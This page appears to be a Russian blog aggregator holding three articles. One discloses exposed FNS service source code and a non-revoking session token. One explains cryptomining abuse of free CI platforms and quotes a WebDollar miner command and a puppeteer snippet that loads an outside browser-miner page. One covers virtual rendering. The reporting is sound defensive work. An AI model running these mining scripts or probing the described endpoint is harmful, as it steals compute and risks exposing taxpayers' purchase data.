Русский
Русский
English
Статистика
Реклама

Gitlab

Как я нашел в публичном доступе исходники нескольких сервисов ФНС

25.03.2021 16:19:55 | Автор: admin

Предыстория

Возьмём приложение Проверка чека и разберемся что оно делает и зачем ваще кому-то понадобилось проверять чеки с помощью приложения.

Суть приложения Проверка чековСуть приложения Проверка чеков

Я не помню как это работало раньше, но с 2016-2017 годов, благодаря 54-ФЗ О применении ККТ появились некие ОФД с целью ...осуществления операций по приёму, обработке, хранению и передачефискальныхданныхв ФНС, а всех кого только можно обязали использовать кассовое оборудование, генерирующее те самые фискальные данные и что немаловажно, обязали эти данные посредством ОФД передавать в ФНС.

Если у вас тоже немного припекает от всех этих аббревиатур, то вот вам терминальная стадия аббревиатуринга в лице названия организации которая отвечает за приложение Проверка чека ФГУП ГНИИВЦ ФНС РФ.

К этому моменту мы еще вернёмся, кстати.

Страница приложения Проверка чеков в App StoreСтраница приложения Проверка чеков в App Store

Прикладной смысл вышеописанного очень лёгко понять на примере сервиса заказа еды.

После заказа вы получаете на почту электронный чек, это и есть те самые фискальные данные. Отправляет их в ваш адрес, однако, не сервис заказа еды, а именно ОФД, которое используется сервисом, в данном случае Яндекс

Любой подобный чек всегда содержит несколько обязательных идентификаторов в натуральном виде и в виде QR-кода, который можно отсканировать с помощью исследуемого нами приложения Проверка чека.

В итоге, в приложении Проверка чека, появляется электронная копия данного чека и тут я хочу обратить ваше внимание на атрибутивный состав кортежа с данными, а именно, на полный и детальный список чего и когда и за сколько гривен моя персона приобрела, это важно.

Но всё бы ничего, если бы не один недавний апдейт данного поделия, который и привёл меня в ужас. До недавних пор приложение оперировало лишь теми данными которые ты сам соизволил туда засунуть путём сканирования QR-кодов и не представляло, ни особого интереса, ни особой угрозы личной безопасности.

Всё изменилось две недели назад после обновления 2.15.0 в рамках которого был выкачен функционал отображение чеков из сервиса Мои Чеки Онлайн.

История версий приложения Проверка чека

Обновление 2.15.0

Если пройти аутентификацию в приложении Проверка чека указав номер телефона, который вы так же используете в популярных сервисах, например, в Яндекс.Еде, Яндекс.Такси, Самокате, Ситимобиле и других, то в разделе Мои чеки автомагически будут отображены все ваши чеки по всем операциям в этих сервисах за всё время.

В моём случае, это порядка 400 чеков, каждый из которых содержит детальный набор сколько, за что, когда и куда.

Мне сразу же стало интересно насколько хорошо подобный массив данных защищен и может ли предполагаемый злоумышленник получить несанкционированный доступ к нему.

Для исследования я поставил в разрыв между интернетом и приложением Проверка чека простой прокси и записывая сетевую активность приложения потыкал в кнопки.

Довольно быстро выяснилось, что эндпойнт с данными находится по адресу irkkt-mobile.nalog.ru:8888 на котором живёт простейшее приложение на NodeJS с применением фреймворка Express, а механизм аутентификации пользователя пускает тебя к данным, если ты верно указал заголовок sessionId значение которого представляет из себя какой-то самопальный токен генерирующийся на стороне сервера.

При этом, если нажать кнопку Выйти в приложении Проверка чека, то как оказалось, инвалидации данного токена не происходит. Так же нет функционала просмотра всех своих сесссий и нет кнопки Выйти на всех устройствах.

Таким образом даже если вы каким-то образом поняли что токен доступа был скомпрометирован, то нет никакой возможности его сбросить и тем самым гарантировать с этого момента отсутствие у предполагаемого злоумышленника доступа к вашим данным.

Крайне безответственно, но не фатально.

Sentry

В процессе просмотра улова на промежуточном прокси я обратил внимание, что в случае крэша приложения оно отправляет диагностические данные в Sentry располагающийся по адресу не связанному, ни с ФНС, ни с ФГУП ГНИИВЦ ФНС РФ, а на домен зарегистрированный на физическое лицо sentry.studiotg.ru.

Страница входа в Sentry команды Studio TG Страница входа в Sentry команды Studio TG

Рядом сразу же был обнаружен gitlab.studiotg.ru.

Страница входа в GitLab команды Studio TG Страница входа в GitLab команды Studio TG

Дальнейшее исследование эндпойнта привело к ссылками на публичные репозитории в этом Гитлабе находящиеся в индексе Гугла уже более года.

Содержимое публичных репозиториев заставило меня биться в истерике.

Публично доступный репозиторий ansible_conf/install_geo Публично доступный репозиторий ansible_conf/install_geo Содержимое архивов из репозитория ansible_conf/install_geo Содержимое архивов из репозитория ansible_conf/install_geo

Пояснение к скриншоту выше: папки содержащие подстроки lkio, lkip, lkul напрямую относятся к одноименным сервисам ФНС на домене nalog.ru.

lkio.nalog.ru

lkip.nalog.ru

lkul.nalog.ru

Содержимое папки lkip-web-login, это исходный код сервиса lkip2.nalog.ru Содержимое папки lkip-web-login, это исходный код сервиса lkip2.nalog.ru

Для сверки, что обнаруженные исходники действительно относятся к сервисам ФНС, проведена простая проверка наличия на боевом веб-сервере файла uppod-styles.txt, который не мог там оказаться по случайному совпадению.

uppod-styles.txt на сайте lkip2.nalog.ru uppod-styles.txt на сайте lkip2.nalog.ru Содержимое файла .env судя по всему прямиком с боевых серверов Содержимое файла .env судя по всему прямиком с боевых серверов

В итоге

  1. Фактический разработчик мобильного приложения Проверка чека некая studiotg.ru.

  2. Вероятно есть нарушение соглашений об обработке персональных данных в силу передачи диагностических сведений со стороны ФГУП ГНИИВЦ ФНС РФ в адрес третьих лиц.

  3. Данные ребята так же причастны к разработке сервисов lkip.nalog.ru, lkul.nalog.ru и lkio.nalog.ru.

  4. По их вине исходный код данных сервисов находится в публичном доступе уже около года.

  5. Исходя из общей картины, предположу, что данные о ваших покупках попадающие в ОФД путём информационного обмена фискальными данными с ФНС, на текущий момент, находятся под угрозой утечки.

Как-то так.Как-то так.
Подробнее..

Перевод Как криптомайнеры убивают бесплатные CI

28.04.2021 20:06:12 | Автор: admin

СI-платформы, такие как LayerCI, GitLab, TravisCI, и Shippable ухудшают, а то и вовсе закрывают свои бесплатные сервера из-за атак с целью скрытого майнинга.

1 сентября 2020 года GitLab объявил что ограничивает бесплатное использование CI в ответ на эксплуатацию. Два месяца спустя TravisCI анонсировал схожие ограничения из-за серьезных злоупотреблений. В это же время возросла рыночная капитализация добываемых криптовалют.

Рыночная капитализация криптовалюты подскочила со 190 млрд до 2 трлн за один год.Рыночная капитализация криптовалюты подскочила со 190 млрд до 2 трлн за один год.

Эти события связаны между собой: поскольку рыночная капитализация криптовалюты выросла с 190 млн. долларов в январе 2020 до 2 триллионов в апреле 2021, злоумышленникам стало выгодно атаковать бесплатные сервера PaaS провайдеров.

Контекст

В LayerCI мы помогаем разработчикам создавать полнофункциональные веб-сайты, создавая среды предварительного просмотра и автоматически запуская для них E2E тесты. Это называется CI (Непрерывная интеграция).

Поскольку разработчики могут запускать на наших серверах произвольный код, они часто нарушают условия обслуживания для того, чтобы запускать майнеры криптовалюты в качестве этапа сборки для своих веб-сайтов. Подробнее можно прочитать тут.

717 GitHub коммитов за один месяц

testronan заядлый пользователь Flask. Каждый час он делает коммит в своем единственном GitHub репозитории: testronan/MyFirstRepository-Flask.

Продуктивный программист, безусловно, должен убедиться в том, что внесенные им изменения хорошо протестируются. Поэтому его репозиторий содержит конфигурации аж для пяти разных CI-платформ: TravisCI, CircleCI, GitHub Actions, Wercker, и LayerCI.

Похоже он довольно опытен в написании скриптов. Его СI таски запускают listhen.sh: shell скрипт, который объединяет сложный NodeJS скрипт с, на первый взгляд, случайными числами:

(sleep 10; echo 4; sleep 2; echo "tex.webd";sleep 2; echo 7; sleep 1; echo 1; sleep 1; echo "exit"; sleep 2) | stdbuf -oL npm run commands  

MyFirstRepository-Flask не имеет ничего общего с Flask или веб-серверами. В нем размещены скрипты для майнинга криптовалюты, которые отправляют WebDollars (прим. криптовалюта) на анонимный адрес. Числа соответствуют настройкам реализации WebDollar на NodeJS.

Репозиторий не атакует GitHub напрямую, вместо этого он злоупотребляет функцией cron для создания нового коммита каждый час и майнинга WebDollar на четырех оставшихся платформах.

При пиковой апрельской цене WebDollar в 0.0005 долларов репозиторий зарабатывал 77 долларов в месяц значительная для многих стран сумма, особенно учитывая, что для заработка необходим лишь ноутбук и интернет-соединение.

Два кошелька, на который приходит добытая криптовалюта:

Майнинг криптовалюты в браузере

Пользователь vippro99 описывает свои намерения менее изящно. Из десятков репозиториев большинство связано либо с криптовалютой либо с автоматизацией браузера.

Репозиторий nodejs-monney содержит различные скрипты для запуска экземпляров Chrome c популярным гугловским puppeteer project.

Идея проста: майнинг криптовалюты непосредственно в CI довольно легко обнаружить (например, с помощью анализа исполняемого содержимого), но автоматизация браузера это обычная рабочая нагрузка в CI.

puppeteer.launch({ headless: true, args: ['--no-sandbox', '--disable-setuid-sandbox', '--window-size=500,500', '--user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36' ] }).then(async browser => {  console.log('-- Running chrome!!'); const page = await browser.newPage(); await page.goto('https://vippro99.github.io/-meocoder-nodejs-tool/index.html');  page.on('console', (msg) => console.log(msg.text())); await page.waitForTimeout(((Math.floor(Math.random() * 6) + 52) * 60) * 1000); await browser.close(); })

Данный GitHub Pages веб-сайт содержит простой браузерный майнер криптовалюты Monero, напоминающий Coinhive.

На момент написания аккаунт атаковал JFrog's Shippable CI, которая (возможно, в связи с этим) анонсировала об окончании поддержки бесплатных серверов в начале этого года.

Судя по комментариям vippro99, он проживает во Вьетнаме. При текущей цене Monero, каждый экземпляр майнера на Shippable приносит 2.5 доллара в месяц, поэтому поддержание 60 экземпляров равносильно полному рабочему дню в этой стране.

Решение проблемы

Ethereum, вторая по популярности криптовалюта, недавно объявила о планах прекращения поддержки майнинга на основе вычислений, полностью переключившись на модель Proof-of-Stake (PoS).

Помимо негативного воздействия традиционного proof-of-work майнинга на окружающую среду, существуют и другие неприятные аспекты: мировая нехватка графических процессоров и атаки на CI-платформы.

Провайдеры будут делать все возможное, чтобы обеспечить соблюдение условий обслуживания, но пока атаки выгодны и трудноотслеживаемы, они будут приобретать все более изощренный характер. Единственный долгосрочный способ и дальше пользоваться бесплатными серверами в Heroku, Netlify и GitHub это отказ от proof-of-work.


Дата-центр ITSOFT размещение и аренда серверов и стоек в двух дата-центрах в Москве. За последние годы UPTIME 100%. Размещение GPU-ферм и ASIC-майнеров, аренда GPU-серверов, лицензии связи, SSL-сертификаты, администрирование серверов и поддержка сайтов.

Правильно и недорого майнить криптовалюту можно в майнинг-отелеhttps://itsoft.ru/data-center/mining/

Подробнее..

Автоматическая виртуализация рендеринга произвольной вёрстки

14.01.2021 20:16:39 | Автор: admin

Здравствуйте, меня зовут Дмитрий Карловский и я.. прибыл к вам из недалёкого будущего. Недалёкого, потому что там уже всё и все тормозят. Писец подкрался к нам незаметно: сначала перестали расти мощности компьютеров, потом пропускная способность сетей. А пользователи они продолжали генерировать контент как не в себя. В итоге, за считанные годы UX интерфейсов деградировал настолько, что ими стало невозможно пользоваться и многие пользователи поспешили перейти на облачный стриминг своих браузеров, которые работают на суперкомпьютерах, принадлежащих корпорациям, которые не дают людям устанавливать на них блокировщики рекламы. Поэтому я пришёл к вам именно сейчас, в этот момент, когда проблема уже заметна, но ещё можно всё исправить, пока не стало слишком поздно.

Это - текстовая расшифровка выступления на HolyJS'20 Moscow. Вы можете либо посмотреть видео запись, либо открыть в интерфейсе проведения презентаций, либо читать как статью Короче, где угодно лучше, чем на Хабре, ибо новый редактор плохо импортирует статьи..

Тяжёлое прошлое: Огромные списки задач

Сперва расскажу немного о своём опыте. Мой релевантный опыт начался с разработки огромных списков задач, состоящих из нескольких десятков тысяч задач. Они образовывали иерархию и имели довольно причудливый дизайн, что осложняло применение virtal scroll. А таких списков задач на экране могло быть десятки разом. И всё это в реальном времени обновлялось, дрегендропилось и анимировалось.

Рекламная пауза: Богатый редактор

Так же я разрабатывал богатый, но компактный редактор текста, позволяющий множеству пользователей редактировать 200 страничные документы в реальном времени. У нас там применялся уникальный механизм синхронизации, минимизирующий конфликты, множество оригинальных UX решений и полностью кастомный виртуализированный рендеринг на холсте.

К сожалению, он пал жертвой коронавируса, так что если кто-то захочет поднять знамя и продолжить его разработку, то пишите мне - я сведу с нужными людьми. Нужно будет выкупить права и доработать под свои нужды.

Альтернативная линия времени: $mol

Ну и, конечно, нельзя не упомянуть про разработанный мною фреймворк, обеспечивающий автоматическую виртуализацию. Который задоминировал всех конкурентов.. В альтернативной линии времени. Там у нас все хорошо и поэтому я пришёл к вам.

mol.hyoo.ru

Короче, съел я на теме виртуализации собаку, кошку, хорька, енота и даже морскую свинку. В общем, подкрепился как следует. Так что далее я расскажу вам как эффективно предоставлять пользователю огромные объёмы данных, почему вообще возникает такая необходимость, какие технологии нам с этим могут помочь, и почему React ведёт нас в тупик.

Типичный цикл разработки

Типичный цикл разработки выглядит так:

  • Написали код.

  • Проверили в тепличных условиях.

  • Пришли пользователи и всё заспамили.

  • Оптимизировали.

  • Пользователи всё не унимаются.

Мы уже взрослые ребята мы не пишем тяп-ляп и в продакшен. Теперь мы пишем код, проверяем его на тестовых данных, и если все хорошо, выкладываем в прод. Но тут приходят пользователи генерируют кучу контента и всё начинает тормозить. Тогда мы закатываем рукава и начинаем оптимизировать. Но приходят пользователи и генерят ещё больше контента и тормоза возвращаются вновь.

Наивный рендеринг: Скорость загрузки и Отзывчивость

Этот порочный круг приводит к таким вот последствиям:

Сейчас вы видите timeline загрузки и рендера двух с половиной тысяч комментариев. Скрипту требуется 50 секунд на формирование DOM, после чего ещё 5 секунд нужно браузеру чтобы рассчитать стили, лейаут и дерево слоёв.

И это не картинка из будущего. Это самое натуральное настоящее. Замечу, что это хоть и мобильная версия, но открытая на ноуте. На мобилке все куда печальнее.

Наивный рендеринг: Потребление памяти

Если мы заглянем на вкладку "память" то заметим, что такая страница потребляет аж гигабайт.

На моем телефоне (потряхивает своим тапком) её меньше 3 гигов. И я думаю не надо объяснять откроется ли она у меня вообще. Тут мы плавно переходим к следующему риску..

Наивный рендеринг: Риск неработоспособности

Если мы не влезаем по памяти, то приложение может закрыться. Причём может закрыть не одно, а утянуть с собой ещё несколько. А даже если не закроется, то чем больше приложение, тем дольше оно грузится. А чем дольше грузится, тем выше риск, что соединение оборвётся и всё придётся начинать заново. Ну либо довольствоваться первыми 4 комментариями из двух с половиной тысяч - реальная ситуация на моей мобилке.

  • Не влезли по памяти - приложение закрывается.

  • Обрыв соединения - страница обрывается.

  • Браузер может заглючить на больших объёмах.

Наивный рендеринг: Резюме

Короче, если мы продолжим разрабатывать наши интерфейсы том же духе, то неизбежно возникнут проблемы с медленной загрузкой, плохой отзывчивостью, засиранием памяти, а то и вообще падениями на ровном месте.

  • Медленная загрузка.

  • Плохая отзывчивость.

  • Высокое потребление памяти.

  • Риск неработоспособности.

Первый подопытный: Статья на Хабре

Недавно я опубликовал статью, где рассказывал как можно ускорить Хабр раз в десять, отказавшись от SSR.

Вырезаем SSR и ускоряем Хабр в 10 раз

И там я собственно разобрал пример переписывания страницы дерева комментариев с применением виртуализации.

https://nin-jin.github.io/habrcomment/#article=423889

Второй подопытный: Ченьжлог на GitLab

На сей раз мы разберём новый кейс - страница коммита на GitLab.

Я просто взял второй попавшийся коммит в первом попавшемся репозитории. Это всего порядка 5 тысяч строк в 100 файлах. Казалось бы - совсем не много. Однако, грузится всё довольно долго. Сначала 10 секунд ждём ответа сервера, потом ещё пол минуты любуемся мёртвыми кусками кода без подсветки синтаксиса. Короче, приходится ждать почти минуту, прежде чем приложением становится возможно пользоваться.

Перенос рендеринга HTML на сервер

Что ж, давайте откроем таймлайн и увидим там следующую картину.

Пол минуты HTML выдаётся браузеру. Обратите внимание что она вся фиолетовая. Это значит что каждый раз, когда браузер получает очередной чанк HTML и подкрепляет его в документ, то пересчитывает стили, лейаут и дерево слоёв. А это весьма не быстрый процесс. И чем больше DOM, тем медленнее он становится.

Наконец, подключаются скрипты и сравнительно быстро добавляют к коду подсветку синтаксиса. Но чтобы переварить такое массовое изменение огромного дерева, браузеру требуется потом ещё целых 3 секунды непрерывной работы.

Страдания Ильи Климова по GitLab-у

Ну да ладно со скоростью загрузки. Один раз подождать ведь не проблема? Как бы не так! Браузер делает пересчёт стилей, лейаута и слоёв чуть ли не на каждый чих. И если вы попробуете поработать со страницей, то заметите, что на наведение указателя она реагирует весьма не рьяно, а вводить текст с лютыми задержками крайне не комфортно.

Год назад Илья Климов как раз рассказывал в своём выступлении страшные истории про работу как раз над этой страницей. Например, прикручивание спинера заняло 3 месяца работы не самого дешёвого разработчика. А сворачивание небольшого файла вешало вкладку на 10 секунд. Но это, правда, уже оптимизировали - теперь на это требуется всего лишь пара секунд!

Причина этих ужастиков в том, что изначально была выбрана такая себе архитектура с такими себе технологиями, и писалось много типового кода пяткой левой ноги, а теперь вот нужно вкладывать кучу денег в Фонд Оплаты Труда, чтобы делать простейшие вещи долго и без существенного профита.

На мой вопрос "что ж вы на $mol всё это не перепишите, чтобы у вас всё летало?" Илья ответил, что не знает как его продать в компании. Что ж, надеюсь дальнейший разбор техник виртуализации поможет ему в этом нелёгком деле.

Оптимизации вёрстки

Первое что приходит на ум - а давайте упростим вёрстку и DOM уменьшится. В качестве примера - кейс от Альфа-банка, который я разбирал в своей статье об истории $mol.

$mol: 4 года спустя

Там был компонент вывода денежных сумм, который рендерился в 8 DOM элементов вместо 3.

<div class="amount">    <h3 class="heading ...">        <span>            <span class="amount__major">1233</span>            <div class="amount__minor-container">                <span class="amount__separator">,</span>                <span class="amount__minor">43</span>            </div>            <span class="amount__currency"></span>        </span>    </h3></div>
<h3 class="amount">    <span class="amount__major">1233</span>    <span class="amount__minor">,43</span></h3>

Не смотря на высокую частоту использования он был не оптимизирован. После моей статьи над ним поработали и теперь он рендерится в 5 элементов.

Если так поработать и над остальными компонентами, думаю можно уменьшить размер DOM раза в 2. Однако

Достоинства оптимизации вёрстки

Важно понимать, что асимптотика таким образом не меняется. Допустим страница грузилась 30 секунд. Вы оптимизировали, и она сала грузиться 10 секунд. Но пользователи сгенерируют в 3 раза больше контента и страница снова грузится 30 секунд. А оптимизировать вёрстку уже не куда.

  • Кратное ускорение

  • Асимптотика не меняется

Короче, годится эта техника лишь как временная мера, пока вы прикручиваете что-то по серьёзней.

Прикладная оптимизация

Можно пошаманить над вашим прикладным кодом - кодом приложения, кодом ваших компонент. Тут есть несколько вариантов с разными ограничениями..

  • Пагинация

  • Экспандеры

  • Бесконечный скролл

  • Виртуальный скролл

Прикладная оптимизация: Пагинация

Первое, что приходит на ум - это пагинация.

Не буду рассказывать что это такое - все и так с ней прекрасно знакомы. Поэтому сразу к достоинствам

Достоинства пагинации

Во-первых пользователю приходится много кликать переключаясь между страницами - это тренирует его мелкую моторику. Кроме того приходится ждать загрузки ну или хотя бы рендеринга очередной страницы - есть время подумать о высоком: что он здесь делает, зачем и возможно решить что оно ему и не надо. Также постоянно теряется контекст, то есть тренируется память - ему нужно помнить что было там на предыдущей странице.

Бывает, что элемент перескакивает между страницами при переключении между ними. Это позволяет, например, ещё раз прочитать один и тот же комментарий, чтобы лучше его понять. Или наоборот, пропустить незамеченным - мало ли там какой-то негатив. А так он сохранит душевное равновесие.

Пагинация применима лишь для плоских списков, что избавляет пользователя от мудрёных древовидных интерфейсов.

Однако, если среди элементов на странице окажется какой-то особо крупный элемент, то опять вернутся тормоза. Но это будет всяко быстрее чем рендерить вообще все элементы на одной странице.

И, наконец, нельзя забывать про пользователей скрин ридеров, которые будут вспоминать вас тёплым словом каждый раз, когда им придётся при переключении на очередную страницу снова стрелочками клавиатуры навигироваться от корня страницы до того контента который им интересен.

  • Много кликать

  • Ожидание загрузки каждой страницы

  • Теряется контекст

  • Элементы скачут между страницами

  • Вероятность пропустить элемент

  • Применимо лишь для плоских списков

  • Большой элемент возвращает тормоза

  • Слепые вас ненавидят

  • Работает быстрее, чем всё скопом рендерить

В общем, думаю вы уже поняли какое тёплое у меня отношение к пагинации. Я даже отдельную статью ей посвятил..

Популярные анти паттерны: пагинация

Прикладная оптимизация: Экспандеры

Можно выводить и на одной странице, но свернув каждый элемент под спойлером, а показывать его содержимое уже по клику.

https://nin-jin.github.io/my_gitlab/#collapse=true

Достоинства экспандеров

Тут опять же приходится много кликать и ждать загрузки очередной ветки. Соответственно, мы тренирую мелкую моторику пользователя и позволяем ему подумать. Работает оно быстро, ведь нам нужно показать лишь список элементов, но не их содержимое. Но если пользователь откроет много экспандеров, то снова вернутся тормоза. Пользователи скрин ридеров будут вас жарко вспоминать за то, что им приходится ещё и искать эти экспандеры и нажимать на них, что крайне неудобно когда пользуется клавиатура. и, наконец, самое главное преимущество: экспандер можно применять и для иерархических структур, а не только плоских списков.

  • Очень много кликать

  • Ожидание загрузки каждой ветки

  • Если не закрывать, то снова тормоза

  • Слепые вас проклинают

  • Открывается быстро

  • Применимо не только для плоских списков

Прикладная оптимизация: Бесконечный скролл

Но что если мы не хотим тренировать мелкую моторику наших пользователей? Тогда можно применить, например, бесконечный скролл, так популярный в интерфейсах Яндекса, например.

И сейчас вы видите скриншот Яндекс.Диска. У меня есть там директория состоящая из пяти тысяч файлов. И если открытие её происходит относительно быстро, то, чтобы домотать до самого низа, требуется 3 с лишним минуты реального времени. Всё потому, что по мере скролла вниз, DOM становится всё больше и больше, от чего добавление очередного куска данных становится всё медленнее. В итоге, добавление последнего куска, например, занимает уже несколько секунд.

Достоинства бесконечного скролла

  • Применимо лишь для плоских списков

  • Ожидание загрузки каждой ветки

  • Увеличение тормозов по мере прокрутки

  • Быстрое появление

Прикладная оптимизация: Виртуальный скролл

Дальнейшее развитие бесконечного скролла - это виртуальный скролл, который не только дорендеривается снизу, но и удаляет контент сверху, по мере прокрутки вниз. И наоборот, при прокрутке вверх.

https://bvaughn.github.io/react-virtualized/#/components/WindowScroller

Достоинства виртуального скролла

Тут размер DOM остаётся примерно постоянным, то есть интерфейс остаётся отзывчивым. Но годится это лишь для плоских списков. Для иерархических применять его зачастую больно - смотря какой визуал нарисовал дизайнер. Тут еще есть ещё такое ограничение, что нам должны быть известны примерные размеры элементов, чтобы мы могли рассчитать, какие элементы попадают в видимую область, а какие точно не попадают.

  • Применимо лишь для плоских списков

  • Размеры элементов должны быть предсказуемы

  • Работает быстро

Прикладная оптимизация: Резюме

  • Ухудшение пользовательского опыта

  • Не решают проблему полностью

  • Ограниченная применимость

  • Полный контроль где какую применять

  • Нужно не забыть

  • Нужно продавить

  • Нужно реализовать

  • Нужно оттестировать

  • Нужно поддерживать

Оптимизация инструментов

Чтобы не заниматься ручными оптимизациями каждый раз в каждом приложении можно пойти другим путём и оптимизировать инструментарий, то есть библиотеки, фреймворки, компиляторы и тому подобное. Тут есть опять же несколько подходов..

  • Тайм слайсинг

  • Прогрессивный рендеринг

  • Ленивый рендеринг

  • Виртуальный рендеринг

Оптимизация инструментов: Тайм слайсинг

Можно попробовать так называемый time slicing. На одной из прошлых Holy JS я рассказывал про технику квантования вычислений, где долгое вычисление разбивается на кванты по 16 миллисекунд, и между этими квантами браузер может обрабатывать какие-то события делать плавную анимацию и так далее. То есть вы не блокируете поток на долгое время, получая хорошую отзывчивость..

Квантовая механика вычислений в JS

Достоинства тайм слайсинга

Звучит вроде бы не плохо. Но тут есть такая проблема, как замедление общего времени работы всего вычисления. Например, если просто взять и выполнить вычисление без квантования занимает полсекунды, то если его постоянно прерывать каждые 16 мс, позволяя браузеру делать свои дела, то до завершения может пройти и пара секунд. Для пользователя это может выглядеть как замедление работы. Ну и другой аспект заключается в том что javascript не поддерживает файберы, то есть такие потоки исполнения, которые можно останавливать и возобновлять в любое время. Их приходится эмулировать тем или иным способом, а это всегда костыли, замедление работы и некоторые ограничения на то, как пишется код. В общем, с этим подходом всё не очень хорошо, поэтому в $mol мы и отказались от квантования.

  • Хорошая отзывчивость

  • Замедленность работы

  • Эмуляция файберов в JS

Оптимизация инструментов: Прогрессивный рендеринг

Частным случаем тайм слайсинга является прогрессивный рендеринг, где DOM генерируется и подклеивается по кусочкам. Это позволяет очень быстро да ещё и анимированно показать первый экран и в фоне дорендерить страницу до конца. Такой подход реализован, например, во фреймворке Catberry..

catberry.github.io

Достоинства прогрессивного рендеринга

В $mol мы тоже экспериментировали с подобным подходом, но в итоге отказались, так как время появления даже первого экрана существенно замедлялось, а если страница была по настоящему большой, то всё вообще умирало, ибо по мере роста размеров DOM добавление даже маленького кусочка в него становилось всё медленнее и медленнее.

  • Хорошая отзывчивость в процессе появления

  • Эмуляция файберов в JS

  • На больших объёмах всё встаёт колом

Оптимизация инструментов: Ленивый рендеринг

Вообще, изначально в $mol у нас был так называемый ленивый рендер. Суть его в том, что мы сначала рендерим первый экран и по мере прокрутки добавляем столько контента снизу, чтобы видимая область была гарантированно накрыта. А при прокрутке вверх, наоборот, удаляем снизу тот контент, что гарантированно на экран не попадает, чтобы минимизировать размер DOM для лучшей отзывчивости.

https://nin-jin.github.io/my_gitlab/#lazy=true

Достоинства ленивого рендеринга

Чтобы понимать сколько рендерить элементов, необходимо знать заранее минимальные размеры элементов, которые мы ещё не отрендерили. Но это решаемая проблема. А вот другая - не очень. Хоть появляется первая страница и быстро, но по мере прокрутки вниз увеличивается размер DOM, что неизбежно приводит к снижению отзывчивости. Так что если пользователь домотал до самого низа, то нам всё равно придётся отрендерить весь DOM целиком. То есть проблема отзывчивости решена не полностью.

  • Размеры элементов должны быть предсказуемы

  • Увеличение тормозов по мере прокрутки

  • Быстрое появление

Оптимизация инструментов: Виртуальный рендеринг

Дальнейшее развитие ленивого рендера - это при прокрутке не только добавлять контент снизу, но и удалять сверху. И наоборот при прокрутке вверх. В примере, вы можете заметить, что это работает не только с плоскими списками, но и с вёрсткой произвольной сложности.

https://nin-jin.github.io/my_gitlab/

Достоинства виртуального рендеринга

  • Размеры элементов должны быть предсказуемы

  • Работает, наконец, быстро

Оптимизация инструментов: Резюме

На уровне инструментов поддержка сейчас есть лишь в полутора фреймворках: time slicing в React, прогрессивный рендер в catberry и виртуальный рендер в $mol. Зато, такую оптимизацию инструмента достатоxно реализовать один раз? и далее наслаждаться ею во всех своих приложениях не тратя дополнительное время на оптимизацию.

  • Поддерживает полтора фреймворка

  • Работает само по себе

Оптимизации: Резюме

Так что именно на оптимизации инструментов я и предлагаю вам сконцентрировать свои усилия. И далее мы разберём, что нужно для добавления виртуализации на уровне фреймворка.

Оптимизация

Стоит того?

Вёрстка

Прикладной код

Инструментарий

Виртуализация браузера

Самое простое, что можно сделать, - это воспользоваться браузерной виртуализацией, которая появилась сравнительно недавно. Итак, открываем гитлаб и видим как всё лагает при движении мыши и вводе текста. Теперь произносим пару волшебных слов в девтулзах вокруг стилей "файла"..

content-visibility: auto;contain-intrinsic-size: 1000px;

И всё начинает летать. Устанавливая эти свойства, мы говорим браузеру, что он может пересчитывать layout только для видимой части, а для не видимой он будет брать ту оценку, что мы предоставили. Тут есть, конечно же, ограничение из-за которого иконка добавления нового комментария обрезается, но это решаемая проблема. А вот нерешаемая - это то, что нам всё-равно нужно потратить кучу времени на формирование огромного DOM. То есть таким образом мы можем обеспечить хорошую отзывчивость, но не быстрое открытие. Поэтому мы реализуем виртуализацию именно на стороне яваскрипта.

Логика рендеринга

Для каждого компонента нам нужно получить следующие данные.

Во первых нужно пройтись по всем вложенным компонентом и узнать их оценку размеров. Так же нам нужно спросить у браузера как компонент расположен относительно вьюпорта. Использую эту информацию мы можем рассчитать какие элементы нашего контейнера попадают в видимую область, а какие не попадают. После чего добавить/удалить элементы в DOM. И, на конец, обновить отступы, чтобы не полностью отрендеренный контент сместить в видимую область. И все эти операции повторяются рекурсивно для всех компонентов.

Далее мы пройдёмся по этим шагам подробнее.

Оценка размеров

Мы можем брать в качестве оценки, например, последний вычисленный размер. То есть при рендере запоминаем какой получился размер и далее используем эту информацию уже до рендера. Но тут такая проблема, что это не работает для тех элементов, которых мы ещё рендерили. При плавном скроллинге - ничего страшного, но когда пользователь хватает скроллбар и тащит в другой конец страницы, нам не от куда взять информацию о размерах. Но самое страшное даже не это, а то, что нужно уметь вовремя инвалидировать кеш размеров, ведь они зависят от очень многих факторов, которые очень сложно все учесть.

Можно попробовать брать усреднённое значение. То есть мы отрендерили, например, пять элементов из тысячи, вычислили среднее, и считаем что все остальные тоже в среднем такие же. Но это средняя температура по больнице получается, ибо в общем случае размеры элементов могут отличаться на несколько порядков. Среднее значение годится лишь в частном случае плоских виртуализированных списков, когда нам заранее известно, что все элементы примерно одинакового размера. В общем же случае, для виртуализации на уровне фреймворка это совсем не подходит.

Так что самое оптимальное - это минимальная оценка. То есть сколько элемент точно занимает места. Он может быть больше, но точно не меньше. Это позволяет для заданной видимой области рассчитать сколько нам нужно отрендерить элементов, чтобы точно накопить суммарной высоты больше, чем размер видимой области. Отрендерим чуть больше - ничего страшного. Важно лишь, что видимой области не будет дырок и пользователь не увидит, что мы немного сэкономили на рендеринге.

  • Последняя

  • Усреднённая

  • Минимальная

Типы компонент: Атомарный

Теперь о том как рассчитать размеры. Во первых мы можем просто напрямую задать эти размеры.

Например, допустим все иконки у нас умеют размер 24х24, или любая строка текста имеет минимальную высоту в 24 пикселя.

Типы компонент: Стек наложения

Если компонент составной, то нам скорее всего хочется, чтобы его оценка размера исходила из того, что мы поместили внутри него. Например, возьмём компонент "стек наложения" - этот компонент, который содержит другие компоненты, которые накладываются друг на друга, и его размер определяется максимальными габаритами среди всех вложенных в него элементов.

Соответственно мы просто берём максимальное значение минимального значения его элементов по соответствующим осям.

Типы компонент: Вертикальный список

Для вертикального списка по горизонтали вычисляем так же, как для стека наложения. А вот минимальная высота списка равна сумме минимальных высот его элементов.

Типы компонент: Горизонтальный список

С горизонтальным списком всё аналогично, но возможно вам ещё потребуется учитывать смещение элементов относительно базовой линии, для вычисления минимальной высоты.

Типы компонент: Горизонтальный список с переносами

А вот с горизонтальным списком с переносами все несколько сложнее. Во первых нам нужно вычислить максимальную ширину нашего контейнера. Самая грубая оценка - это, например, ширина окна. Если у вас есть более точная оценка - замечательно. Но даже грубая оценка - лучше, чем ничего.

